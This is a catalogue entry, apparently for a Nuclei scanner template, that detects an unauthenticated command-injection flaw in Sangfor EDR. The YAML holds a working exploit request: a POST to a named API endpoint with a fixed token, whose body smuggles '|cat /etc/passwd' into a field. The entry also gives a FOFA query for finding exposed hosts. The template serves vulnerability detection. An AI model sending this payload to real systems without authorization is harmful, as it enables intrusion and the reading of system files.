SecurityContext

sangfor-edr-rce: Sangfor EDR 3.2.17R1/3.2.21 - Remote Code Execution

  • Template: sangfor-edr-rce
  • Name: Sangfor EDR 3.2.17R1/3.2.21 - Remote Code Execution
  • Description: Sangfor EDR 3.2.17R1/3.2.21 allows remote unauthenticated users to to execute arbitrary commands.
  • Severity: critical
  • Authors: pikpikcu
  • Tags: rce, sangfor, vuln
  • References: https://www.cnblogs.com/0day-li/p/13650452.html
  • Max requests: 1
  • Directory: http/vulnerabilities
  • Path: http/vulnerabilities/sangfor/sangfor-edr-rce.yaml
  • Digest: 4b0a00483046022100d5095c7e8726c1caf25168067fdf7e4827a08d26e6487e9f934074f95f2316b7022100877f0f597654d5c219e3669352156976866823f137c8a21f91ceef64663702c6
  • Created at: 2021-02-03T12:00:11Z
  • Updated at: 2026-04-14T14:09:18Z
  • Age in days: 2121
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/sangfor/sangfor-edr-rce.yaml
  • Checked, none or zero: cves, verified, products
  • Not known: impact, remediation

Classification

  • Cwe: CWE-78
  • Cvss score: 10
  • Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Not known: epss score, epss percentile, cpe

Metadata

  • Fofa-query: app="sangfor"
  • Max-request: 1

Labels

  • Name: Sangfor EDR - Remote Code Execution
  • Impact: Remote unauthenticated attackers can execute arbitrary commands, potentially leading to full system compromise.
  • Remediation: Update to the latest version of Sangfor EDR.
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: securitycontext
  • Not known: vulnerability type, requirements, from cve

```yaml

id: sangfor-edr-rce

info:

name: Sangfor EDR 3.2.17R1/3.2.21 - Remote Code Execution

author: pikpikcu

severity: critical

description: Sangfor EDR 3.2.17R1/3.2.21 allows remote unauthenticated users to to execute arbitrary commands.

reference:

- https://www.cnblogs.com/0day-li/p/13650452.html

classification:

cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

cvss-score: 10

cwe-id: CWE-78

metadata:

max-request: 1

fofa-query: app="sangfor"

tags: rce,sangfor,vuln

http:

- method: POST

path:

- "{{BaseURL}}/api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9"

headers:

Content-Type: application/x-www-form-urlencoded

body: |

{"params":"w=123\"'1234123'\"|cat /etc/passwd"}

matchers-condition: and

matchers:

- type: regex

part: body

regex:

- "root:.*:0:0:"

- type: status

status:

- 200

digest: 4b0a00483046022100d5095c7e8726c1caf25168067fdf7e4827a08d26e6487e9f934074f95f2316b7022100877f0f597654d5c219e3669352156976866823f137c8a21f91ceef64663702c6:922c64590222798bb761d5b6d8e72950

```